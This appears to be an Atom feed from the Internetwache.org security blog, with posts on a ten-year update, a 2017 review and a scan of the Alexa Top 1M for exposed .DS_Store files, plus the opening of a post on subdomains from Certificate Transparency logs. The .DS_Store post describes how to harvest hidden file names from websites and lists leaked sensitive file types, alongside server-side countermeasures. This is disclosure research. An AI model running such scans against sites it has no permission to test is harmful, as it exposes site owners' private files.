<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[Internetwache - A secure internet is our concern]]></title>
  <link href="https://en.internetwache.org/atom.xml" rel="self"/>
  <link href="https://en.internetwache.org/"/>
  <updated>2023-04-15T13:34:04+02:00</updated>
  <id>https://en.internetwache.org/</id>
  <author>
    <name><![CDATA[Internetwache.org]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[Update: 10 years of Internetwache.org]]></title>
    <link href="https://en.internetwache.org/update-10-years-of-internetwache-dot-org-15-04-2023/"/>
    <updated>2023-04-15T13:11:00+02:00</updated>
    <id>https://en.internetwache.org/update-10-years-of-internetwache-dot-org</id>
    <content type="html"><![CDATA[<p>Here is a quick update on our 10 year anniversay.</p>

<!-- more -->


<p>According to the WHOIS information, this domain was registered on <code>2012-06-03T13:17:26Z</code> by Sebastian, although the idea for this project existed much longer.</p>

<p>Therefore, the project&#8217;s 10 year anniversary was last year. Back then, Sebastian was finishing his A-Levels, when he decided to pursue this project.
10 years are a long time and thus a few things have changed over time.</p>

<p>Nowadays, Sebastian is a <a href="https://www.sebastian-neef.de/">PhD candidate at the TU-Berlin</a> in the IT-Sec field. There, he teaches students, supervises theses and publishes academic papers.</p>

<p>During the past 10 years, several persons supported this project. However, for all of them, time has not stopped, too, and their personal and professional careers have evolved as well. Thus, the project is now back in Sebastian&#8217;s hands. Nonetheless, we would like to thank everyone who was involved for their time and support.</p>

<p>Although it was a bit quite in the past and might be in the future, this project is still alive :-)</p>

<p>Best regards,
Sebastian</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Scanning the Alexa Top 1M for .DS_Store files]]></title>
    <link href="https://en.internetwache.org/scanning-the-alexa-top-1m-for-ds-store-files-12-03-2018/"/>
    <updated>2018-03-12T12:48:00+01:00</updated>
    <id>https://en.internetwache.org/scanning-the-alexa-top-1m-for-ds-store-files</id>
    <content type="html"><![CDATA[<p>Some readers may remember our <a href="https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/">Analysis of .git folders in the Alexa Top 1M</a>. WIth our tools we were able to discover and retrieve (hidden) directories and files (even without directory listing). We developed a similar approach of uncovering hidden files again, but this time with the help of .DS_Store files. In this blogpost we will share the methodology, the resulting security implications as well as our results from scanning the Alexa Top 1M and how we could have obtained sensitive files from several websites.</p>

<!-- more -->


<h1>What is a &#8220;.DS_Store&#8221; file?</h1>

<p>Lets have a look on what exactly a .DS_Store file is. Some people may have seen it after they handed an USB drive to an Apple-using colleague. It will most likely contain at least one (hidden) file with the name .DS_Store. The name stands for &#8220;Desktop Services Store&#8221; and the file contains meta information about a directory&#8217;s files and display options. On Mac-OS based operating systems the &#8220;Finder&#8221; will create those files automatically. Similar to other *NIX-like operating systems, the file name is prefixed with a dot to hide it from a normal user. Unfortunately, the file format is not open, but proprietary as it was developed by Apple. Therefore, it is usually only used on Apple devices. The blogpost <a href="http://arno.org/arnotify/2006/10/on-the-origins-of-ds_store/">&#8220;The origins of .DS_Store&#8221;</a> by one of its inventors from 2006 discusses how he would have changed the name and that the file&#8217;s distribution on the file system is huger than expected. He says that instead of creating the file when a directory is viewed the first time, it was supposed to only be created when the directory&#8217;s (display) options changed. To this date, you will find the file all around your harddrive if you&#8217;re a Mac-OS user and you might think that this file is just an unless leftover.</p>

<p><a rel="fancybox"href="/images/posts/ds_store.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/ds_store.png" alt=".DS_Store file in a text editor" title=".DS_Store file in a text editor" /></a></p>

<p>Some readers might know or might have noticed that the file is not human-readable, but consists binary data. Because a detailed explanation of the file&#8217;s structure and format would have been too much for this blogpost, [Sebastian published it on this <a href="https://0day.work/parsing-the-ds_store-file-format/">0day.work blog</a>.</p>

<h1>How can this file become an issue?</h1>

<p>A .DS_Store file can become a (security) issue when it falls from the local file system into the hands of others. For example by uploading a website from a development system onto a server on the internet. If an attacker can obtain such a file from a webserver - that didn&#8217;t block the request - it could help her to learn about other (hidden) files on the webserver. We were curious to see if this issue arises in the real world and did some research that we will describe in the next sections.</p>

<p>We used the well-known <a href="http://s3.amazonaws.com/alexa-static/top-1m.csv.zip">Alexa top 1M</a> list of the most visited websites on the internet. Should we find the file on those websites, they most-likely are prone to an information leak. Sebastian&#8217;s [library to parse .DS_Store files] (https://github.com/gehaxelt/ds_store/blob/master/ds_store.go) written in Go integrated well with our scanning tool that we have used for previous research. During the last hacker congress (34C3) in Leipzig, we used the fast internet connection to scan the list within the four days.</p>

<h1>The methodology</h1>

<p>The tool does the following:</p>

<ul>
<li>Send a HTTP GET-request to http://domain.tld/.DS_Store</li>
<li>Parse the file and extract the file names</li>
<li>If the recursive mode is enabled: Check if any of the file names is a directory and if there&#8217;s another .DS_Store file accessible</li>
<li>For all obtained file paths: Send a HTTP HEAD-request to the resulting URL to check if the file is accessible</li>
</ul>


<p>For our analysis, we used the tool with the recursive mode enabled, because usually the interesting and sensitive files are not in the document root. But luckily, there is often another .DS_Store file in a subfolder that allows to get a deeper insight. However, the parsing of the .DS_Store files and the resulting file names didn&#8217;t tell us if the file was also uploaded from the local system to the server. To answer the question what files are still accessible and potentially downloadable from the server, we used the following simple test: Send a HTTP HEAD-request to the URL where the file is expected to be. A webserver will only reply with the headers and omit the response body. This method might not be the most reliable one, because some webservers block HEAD requests or send a &#8220;OK&#8221; (200) status code even for &#8220;Not found&#8221; (404) errors. However, you cannot claim that we have accessed any (potentially) sensitive information from your server. When  we received a statuscode of 200, we assumed that the file exists and can be downloaded.</p>

<h1>The results</h1>

<p>Our tool was verbose and we gathered the data in a huge logfile. From the 1M domain list, about 10 000 exposed a .DS_Store file. We were disappointed at first, because we expected more sites to be affected, but it turned out that even the small dataset gave interesting insights. Furthermore, the parser is probably not 100% bug free and compatible with all .DS_Store files, so that might as well be a reason for missing some websites.
In the end, the logfile contained 1185671 URLs (due to the recursion the number exceeds 1M) that we will discuss now.</p>

<p>The HTTP response codes are distributed as follows (only the top 5):</p>

<p><a rel="fancybox"href="/images/posts/ds_status.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/ds_status.png" alt="diagram with the distribution of the http status codes" title="diagram with the distribution of the http status codes" /></a></p>

<p>The majority of the discovered files seemed to be accessible. For more than 21 000 URLs we failed to get a statuscode and the 403, 404 or 500 status codes indicate that the files were likely not accessible. Furthermore, the number of accessible files was not distributed evenly between the websites. We observed that there are several big websites that have a .DS_Store file in almost all their subdirectories. In that case the developers apparently overlooked to remove the file what could allow an attacker to get a deep insight into webserver&#8217;s folder/file structure.</p>

<p>Domain names are masked for security reasons</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>  80957 domain1.tld
</span><span class='line'>  67754 domain2.tld
</span><span class='line'>  55143 domain3.tld
</span><span class='line'>  19688 domain4.tld
</span><span class='line'>  19520 domain5.tld
</span><span class='line'>  18989 domain6.tld
</span><span class='line'>  12525 domain7.tld
</span><span class='line'>  12058 domain8.tld
</span><span class='line'>  11521 domain9.tld
</span><span class='line'>  11463 domain10.tld</span></code></pre></td></tr></table></div></figure>


<p>Another interesting observation is the distribution among the top level domains. Here&#8217;s an excerpt from the top 25:</p>

<p><a rel="fancybox"href="/images/posts/ds_tld.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/ds_tld.png" alt="Distribution von diffrent TLDs" title="Distribution von diffrent TLDs" /></a></p>

<p>After we showed what domains and to what extent they are affected, we can go one and look into other details. For example the file names that we have obtained using this method. As explained earlier, the following numbers are based on a returned statuscode of 200.  So there might be more (interesting) files that an attacker could download if she just tries to do so. The top 10 of all file endings is:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'> 256715 .jpg
</span><span class='line'>  75177 .png
</span><span class='line'>  64835 .php
</span><span class='line'>  42422 .html
</span><span class='line'>  39691 .gif
</span><span class='line'>  23683 .htm
</span><span class='line'>  16397 .pdf
</span><span class='line'>   9736 .js
</span><span class='line'>   9346 .txt
</span><span class='line'>   6886 .css</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>If you look at the full 1500 entries long list, you will spot file endings that are more likely to pose a security risk and could contain sensitive information:</p>

<p><a rel="fancybox"href="/images/posts/ds_datatype.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/ds_datatype.png" alt="Selection of favorite data types and their count" title="Selection of favorite data types and their count" /></a></p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>661 .bak
</span><span class='line'>569 .gz
</span><span class='line'>549 .doc
</span><span class='line'>464 .db
</span><span class='line'>343 .csv
</span><span class='line'>266 .eml
</span><span class='line'>248 .log
</span><span class='line'>240 .old
</span><span class='line'>202 .docx
</span><span class='line'>186 .inc
</span><span class='line'>162 .config
</span><span class='line'>129 .cfg
</span><span class='line'>123 .sql
</span><span class='line'>123 .sh
</span><span class='line'>105 .htaccess
</span><span class='line'> 55 .git
</span><span class='line'> 35 .LOG
</span><span class='line'> 23 .orig
</span><span class='line'> 22 .tgz
</span><span class='line'> 21 .pem
</span><span class='line'> 18 .out
</span><span class='line'> 16 .conf
</span><span class='line'> 16 .cfs
</span><span class='line'> 10 .php_old
</span><span class='line'> 10 .php_
</span><span class='line'> 10 .key
</span><span class='line'>  8 .back
</span><span class='line'>  6 .backup
</span><span class='line'>  5 .bkp
</span><span class='line'>  4 .php_bak
</span><span class='line'>  3 .htpasswd
</span><span class='line'>  2 .core
</span><span class='line'>  2 .bash_history</span></code></pre></td></tr></table></div></figure>


<p>For example, the following files fall into the &#8220;.bak&#8221; category:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>  9 index.php.bak
</span><span class='line'>  2 wp-config.php.bak
</span><span class='line'>  2 php.ini.bak
</span><span class='line'>  2 db.bak</span></code></pre></td></tr></table></div></figure>


<p>Some of those files are likely to be easily downloadable, because not authentication was in place and they not only existed on the developer&#8217;s local environment, but also on the server. With the above described technique, we noticed several file endings and file names that indicated a leak of sensitive data. As far as it was possible for us, we tried to notify the affected parties. Most of the contacted administrators have fixed the issue by removing the files from the webserver, but other&#8217;s didn&#8217;t seem to bother.  Hopefully this blogpost will help to increase the awareness about the issue.</p>

<h1>More Interesting facts</h1>

<p>It is very interesting to take a look on the history of this issue, because there have been several minor &#8220;fixes&#8221; - but most of them still do not address the core problem.
In 2001 there have been the <a href="https://www.securityfocus.com/bid/3324/discuss">first discussions about the issue</a> - today (17 years later) this file still leads to security problems.</p>

<p>In the past Apple had to stop the creation of .DS_Store files on shared network drives, due to a huge amount customer complaints. Furthermore they published a <a href="https://support.apple.com/de-de/HT1629">support article</a> that describes how to deactivate this functionality. As mentioned in the beginning: Even one of the inventors of &#8220;.DS_Store&#8221; was not that happy about the chosen name and called its vast distribution &#8220;an unfortunate bug&#8221;. Adobe also discusses the &#8220;.DS_Store&#8221; in the <a href="https://helpx.adobe.com/dreamweaver/kb/remove-ds-store-files-mac.html">Dreamweaver FAQ</a> and recommends to create a cronjob in order to delete the .DS_Store-files periodically. We believe this &#8220;solution&#8221; is better than nothing, but still does not solve to core problem - there&#8217;s still a timespan in which these files are downloadable for an attacker.
About two years ago a researcher found a <a href="https://hackerone.com/reports/142549">.DS_Store on Twitter&#8217;s website</a> and got a bug bounty reward of 560$. He was able to unveil a license key, a wifi certificate and a CA certificate.</p>

<h1>Countermeasures</h1>

<p>To avoid the information leaks of this kind, we recommend to obey the an important, general rule:  Never upload data to the webserver&#8217;s document root that should not be (somehow) accessible. The rule might make sense to you, but our colleague <a href="https://twitter.com/hanno">Hanno Böck</a> showed at the <a href="https://int21.de/slides/34c3-wget/#/">34C3</a>  that  &#8220;wget&#8221; is often enough to obtain sensitive information ranging up to even full datasets. His research shows that there&#8217;s still a lot of room for improvement.</p>

<p>If you want to check if the discussed files can be found on your Linux-server, you can use the following commands:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>cd /var/www # or wherever your document root is
</span><span class='line'>find . -type f -iname "*.DS_Store*"</span></code></pre></td></tr></table></div></figure>


<p>The command will search through all folders in <code>/var/www</code> for files with &#8220;.DS_Store&#8221; in their name and print it on the console. If any files were found and you did not explicitly put them there, then you should consider adding the <code>-delete</code> flag to the above command to delete all the found files.</p>

<p>Removing the files is a first step, but better security can be achieved by blocking the access to files with that file name. Here&#8217;s how to configure the two most common webservers:</p>

<h3>Apache</h3>

<p>Add the following lines to the <code>httpd.conf</code> to block access to the file:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;Files ~ "\.DS_Store$"&gt;
</span><span class='line'>    Order allow,deny
</span><span class='line'>    Deny from all
</span><span class='line'>&lt;/Files&gt;</span></code></pre></td></tr></table></div></figure>


<h3>Nginx</h3>

<p>Add the following lines to your <code>server</code> blocks:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>location ~ \.DS_Store$ {
</span><span class='line'>      deny all;
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>In addition to that, you should check, that:</p>

<ul>
<li>those files are not committed to your VCS (e.g. git/svn/etc) and then pulled on your server.</li>
<li>those files are excluded or removed prior to a rsync/(s)ftp or other file transfer to the server.</li>
</ul>


<h1>Proof of Concept</h1>

<p>We have built a small demowebsite that lets you upload and parse out file names of .DS_Store files online to help you understand what information may have leaked somewhere.</p>

<ul>
<li><a href="https://labs.internetwache.org/ds_store/">Link to the &#8220;Online .DS_Store Parser&#8221;</a></li>
</ul>


<p>Disclamer: Please use it only for educational purposes or to test your own files. Any malicious use is prohibited!</p>

<p>There is a small <a href="https://labs.internetwache.org/ds_store/faq">FAQ</a>, but feel free to send us an email if you have further questions about this tool.</p>

<h1>Further research</h1>

<p>The .DS_Store files are sometimes also included in ZIP files when they were created on Mac-OS. Furthermore, there are files/directories like &#8220;.Trash&#8221;, &#8220;desktop.ini&#8221; or &#8220;Thumbs.db&#8221; that might as well contain pointers to file names. Our parser focused on the extraction of file names, but apparently there is also other information stored in a .DS_Store file, e.g comments. Those information might help to increase the attack surface.</p>

<p>The Team of Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[2017 in retroperspective / outlook on 2018]]></title>
    <link href="https://en.internetwache.org/2017-in-retroperspective-slash-outlook-on-2018-08-01-2018/"/>
    <updated>2018-01-08T23:45:00+01:00</updated>
    <id>https://en.internetwache.org/2017-in-retroperspective-slash-outlook-on-2018</id>
    <content type="html"><![CDATA[<p>Similar to the last years we are doing a review of our work in 2017 and will try to give a short outlook on our plans for 2018.</p>

<!-- more -->


<h3></h3>

<p>In 2017 there have been some personal and also industry-wide events. The Windows-Malware &#8220;WannaCry&#8221; affected a large number of computers across the globe in May. It impressively showed how important computers are in a modern and digitalized world and that there can be enormous threats due to security risks.
Mainly due to our research in 2016 (we found three vulnerable waterworks located in Germany which were exposed to the internet) we were invited to speak at a <a href="https://www.janalbrecht.eu/themen/datenschutz-digitalisierung-netzpolitik/artikel/2017-06-01-wannacry-lessons-learned-for-security-and-liability-in-the-internet-of-things.html">hearing of the european parliament</a> (in Brussels / Belgium).
We outlined our experiences and impressions on the internet security topic with a focus on IoT-Security and this (lobbyism) was was a new, exciting experience for us. It is very important that, next to industry representers, civil society groups get the possiblilty to contribute to a political debate in order to archieve a better balance of interests.</p>

<p>Finally #WannaCry was the reason for our new sticker ;)</p>

<p><a rel="fancybox"href="/images/posts/wannacry-sticker.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/wannacry-sticker.png" alt="Our Wannacry sticker" title="Wannacry Sticker" /></a></p>

<p>The &#8221;<a href="https://en.wikipedia.org/wiki/Federal_Office_for_Information_Security">Federal Office for Information Security (German: Bundesamt für Sicherheit in der Informationstechnik, abbreviated as BSI)</a>&#8221; mentioned our findings (hackable waterworks and mobile traffic light systems) in their report about Germany&#8217;s IT security situation (page 14). Unfortunately, we are only mentioned in the <a href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2017.pdf?__blob=publicationFile&amp;v=4">German</a>, but not <a href="https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2016.pdf">English</a> version.</p>

<p>Another highlight of the year was that both, Tim and Sebastian, finished their Bachelor&#8217;s degree, but more about that in the &#8220;personal success&#8221; section.</p>

<p>Lately, we were informed by several friendly people that our website is listed as &#8220;dangerous&#8221; on some Anti-Virus blacklists. We are not completely sure why it happened (perhaps it has something to do with our <a href="https://en.internetwache.org/analysis-of-a-cryptomining-malware-or-why-clicking-on-folder-icons-can-be-dangerous-09-09-2016/">article about cryptomining malware</a>), but we are working hard on getting this fixed. If you see a strange warning or our domain on a blacklist - we would be happy to get an email from you! <a href="https://en.internetwache.org/pgp-contact/">Contact us here</a>.</p>

<h2>Media reports</h2>

<p>In 2017 we continued our plan to share our research results with the media in order to outline the importance of information security to the general public. As a side effect it helps to bring the project into a not-only-for-the-tech-community perspective. A handful of well-known TV broadcasters like ARD, ZDF interviewed us about our research findings and opinions on certain topics. Unfortunately the videos are in German, but feel free to have a look at them anyway :)</p>

<ul>
<li><a href="https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html">https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html</a></li>
<li><a href="https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html">https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html</a></li>
<li><a href="https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html">https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html</a></li>
<li><a href="https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/">https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/</a></li>
<li><a href="https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/">https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/</a></li>
</ul>


<p>The only English report is on politico.eu: <a href="http://www.politico.eu/article/hacked-information-bomb-under-germanys-election/">http://www.politico.eu/article/hacked-information-bomb-under-germanys-election/</a></p>

<h3>golem.de</h3>

<p>We have a good cooperation with one of the biggest german tech-blogs called &#8220;golem.de&#8221;. Their reach is way higher than ours and that&#8217;s why we sometimes post the findings there. All posts are in German, but maybe Google translator will help :)</p>

<ul>
<li><a href="https://www.golem.de/news/gebaeudesteuerung-luxusklinik-vergass-it-im-netz-1702-126362.html">Luxury clinic Switzerland found on the Internet</a></li>
<li><a href="https://www.golem.de/news/owasp-top-10-die-zehn-wichtigsten-sicherheitsrisiken-bekommen-ein-update-1704-127426.html">Debate about the new OWASP Top10</a></li>
<li><a href="https://www.golem.de/news/g20-hinweisportal-der-polizei-hamburg-hat-rechtliche-probleme-1707-128829.html">G20 Portal (police) has legal problems due to missing HTTPs</a></li>
<li><a href="https://www.golem.de/news/energieversorgung-e-mail-konten-sind-besser-gesichert-als-windparks-1709-129868.html">Background article about wind power and information security</a></li>
</ul>


<h2>Conferences and talks</h2>

<p>Last year we attended several conferences.</p>

<p>Sebastian took part in the  <a href="http://ructfe.org/">RuCTF</a> finals as part of the <a href="https://twitter.com/ENOFLAG">@ENOFLAG</a>  team for the second time. As usually, a three-day conference was part of the event.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">I had fun with my colleagues from <a href="https://twitter.com/ENOFLAG?ref_src=twsrc%5Etfw">@ENOFLAG</a> at the <a href="https://twitter.com/ructf?ref_src=twsrc%5Etfw">@ructf</a> finals!<br><br>Nice venue, nice challenges, nice people. 10/10  :) <a href="https://twitter.com/hashtag/ructf?src=hash&amp;ref_src=twsrc%5Etfw">#ructf</a> <a href="https://t.co/l6DXaPjUMz">pic.twitter.com/l6DXaPjUMz</a></p>&mdash; Sebastian Neef (@gehaxelt) <a href="https://twitter.com/gehaxelt/status/856475338561474560?ref_src=twsrc%5Etfw">24. April 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>A conference organized by Golem.de about <a href="https://www.golem.de/g20j/index-en.html">Quantum computing</a> took place in June and we were invited. The talks about that topic (for us a relatively new topic) were quite interesting and enlightening. People believe that quantum computing will break classic cryptography, but at the moment most of the quantum computers don&#8217;t have enough Qubits (compute power) to effectively do so. We are curious how this will develop in the next few years and we will definitely have a look at it.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Woop woop! I&#39;m ready for quantum computing and interesting talks. Thanks for the invitation, <a href="https://twitter.com/golem?ref_src=twsrc%5Etfw">@golem</a> :) <a href="https://t.co/PsISBA1hKB">pic.twitter.com/PsISBA1hKB</a></p>&mdash; Sebastian Neef (@gehaxelt) <a href="https://twitter.com/gehaxelt/status/878142489944870912?ref_src=twsrc%5Etfw">23. Juni 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>In September 2017 Tim was at <a href="http://z2x.zeit.de">Z2X</a> which is a kind of a future festival for young people between 20 and 30 - it was organized by the online department of &#8221;<a href="https://en.wikipedia.org/wiki/Die_Zeit">DIE ZEIT</a>&#8221; (a big german newspaper). He presented our project&#8217;s idea and in the end it was <a href="www.zeit.de/campus/2017-09/z2x-festival-zehn-beste-projekte">voted on the second place</a> by the 800 Z2X participants. We are happy about the positive feedback and plan to share our work more often on such events. In 2018 Z2X is definitely on our list and Sebastian would like to join next time!</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="de" dir="ltr"><a href="https://twitter.com/hashtag/Z2X17?src=hash&amp;ref_src=twsrc%5Etfw">#Z2X17</a>-Finalist: <a href="https://t.co/3ygE9usCVt">https://t.co/3ygE9usCVt</a> will das Internet durch Hacking sicherer machen <a href="https://t.co/FMQC9a5vTF">pic.twitter.com/FMQC9a5vTF</a></p>&mdash; z2xfest (@z2xfest) <a href="https://twitter.com/z2xfest/status/904346744896581632?ref_src=twsrc%5Etfw">3. September 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>At the end of the year we were at the largest, european hacker congress, the  <a href="https://events.ccc.de/congress/2017/wiki/index.php/Main_Page">34th edition of the Chaos Communication Congresses</a> for the 4th time in a row. The hacker-atmosphere was great and we enjoyed interesting talks and met a lot of friends and followers! Just as last year, we had our own &#8220;assembly&#8221; that we used as a gathering/communication point. The conference moved from Hamburg to Leipzig what lead to a few challenges and changes, but we all had a wonderful time. We can&#8217;t wait for this year&#8217;s edition #35c3!</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Thank you for a very nice <a href="https://twitter.com/hashtag/34c3?src=hash&amp;ref_src=twsrc%5Etfw">#34c3</a><br>Amazing talks, friendly discussions and hacking around! Looking forwars to <a href="https://twitter.com/hashtag/35c3?src=hash&amp;ref_src=twsrc%5Etfw">#35c3</a> ^ts <a href="https://t.co/bOgLmp0EX0">pic.twitter.com/bOgLmp0EX0</a></p>&mdash; Internetwache.org (@internetwache) <a href="https://twitter.com/internetwache/status/947147222571012096?ref_src=twsrc%5Etfw">30. Dezember 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>The new &#8220;Wannacry&#8221; stickers have been considered &#8220;better than last year&#8221; and we managed to distribute all of them (1000 pcs). Did you (not) get a sticker? Let us know :)</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">We distributed around 1000 new stickers at the <a href="https://twitter.com/hashtag/34C3?src=hash&amp;ref_src=twsrc%5Etfw">#34C3</a>. Who got a fancy <a href="https://twitter.com/hashtag/wannacry?src=hash&amp;ref_src=twsrc%5Etfw">#wannacry</a> sticker on his laptop now? ^sn <a href="https://t.co/71WdIEpQ1M">pic.twitter.com/71WdIEpQ1M</a></p>&mdash; Internetwache.org (@internetwache) <a href="https://twitter.com/internetwache/status/949022731722469376?ref_src=twsrc%5Etfw">4. Januar 2018</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h2>Personal success</h2>

<p>Sebastian (<a href="https://twitter,com/gehaxelt">@gehaxelt</a>) finished his Bachelor degree with a thesis about the <a href="https://arxiv.org/abs/1709.01142">Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors</a>. After that achievement, he drove 12,000 kilometers with a Audi 100 through most countries of Eastern Europe in companionship of  a good friend. Interesting experiences, people and memories were collected during this 2.5 month long roadtrip. For 2018, he plans to study abroad and begin his master degree.</p>

<p>Tim (<a href="https://twitter.com/TimPhSchaefers">@TimPhSchaefers</a>) also finished his Bachelor. In his thesis he deals with an evaluation of &#8220;Privileged Access Management&#8221; solutions. Furthermore, Tim was named a Junior-Fellow by the <a href="https://en.wikipedia.org/wiki/Gesellschaft_f%C3%BCr_Informatik">German Informatics Society</a>. He also finished his second book (together with a fellow student) with the name <a href="http://amzn.to/2E6FeqS">&#8220;WLAN Hacking&#8221;</a> that will be published in January 2018.
As part of the Junior-Fellowship, Tim especially wants to point out the importance of IT-Security and Privacy.</p>

<h2>2017 in numbers</h2>

<p>With more than 2200 followers on our <a href="https://twitter.com/internetwache">@internetwache</a> twitter profile, we count a daily growth of ~1.6 followers per day during the last year.</p>

<p>Regarding our page impressions on our blog, we only have positive news! We are counting more than 40.000 visitors and a total of 52.000 pageviews. It is an increase of around 50% in comparision to 2016. Most of the traffic comes from our international readers, because the English blog is frequented three times more often than the German one. This surprised us a bit, because we only wrote merely three new blogposts last year! Sadly we did not have more time for more research and blogposts, but as we said last year: Quality >>> Quantity!</p>

<p>We hope to publish our ongoing research in early 2018, so stay tuned for more :)</p>

<h2>Outlook on 2018</h2>

<p>Originally, we planned to host another CTF this year, because our <a href="https://en.internetwache.org/internetwache-ctf-2016-review-01-03-2016/">first CTF in 2016</a> was so much fun and we got mostly good feedback. However, we did not find the time to write all the challenges and organize everything. Maybe we will manage to do it this year!</p>

<p>We would like to continue our cooperation with the media and attend more conferences (and even give talks). Furthermore, we would like to purse and publish more research. At least we have enough ideas!</p>

<p>We wish everybody a successfull 2018!</p>

<p>Tim &amp; Sebastian</p>

<p>The Team of Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Certificate Transparency as a source for subdomains]]></title>
    <link href="https://en.internetwache.org/certificate-transparency-as-a-source-for-subdomains-14-12-2017/"/>
    <updated>2017-12-14T00:11:00+01:00</updated>
    <id>https://en.internetwache.org/certificate-transparency-as-a-source-for-subdomains</id>
    <content type="html"><![CDATA[<p>We have been quite busy this year, but we would like to release a small project nonetheless: Curating a list of subdomains based on certificate transparency logs that we&#8217;ll happily share with the community and publish new results every hour.</p>

<!-- more -->


<p><a href="https://www.certificate-transparency.org/">Certificate Transparency</a> is a project initiated by Google that tries to monitor all issued SSL/TLS certificates with the goal of identified and revoking mis-issued certificates. Certificate Authorities are requested to publish information about their issued certificates into the publicly accessible CT logs. That is why you will find <a href="https://crt.sh/?q=internetwache.org">all certificates for internetwache.org on crt.sh</a> for example.</p>

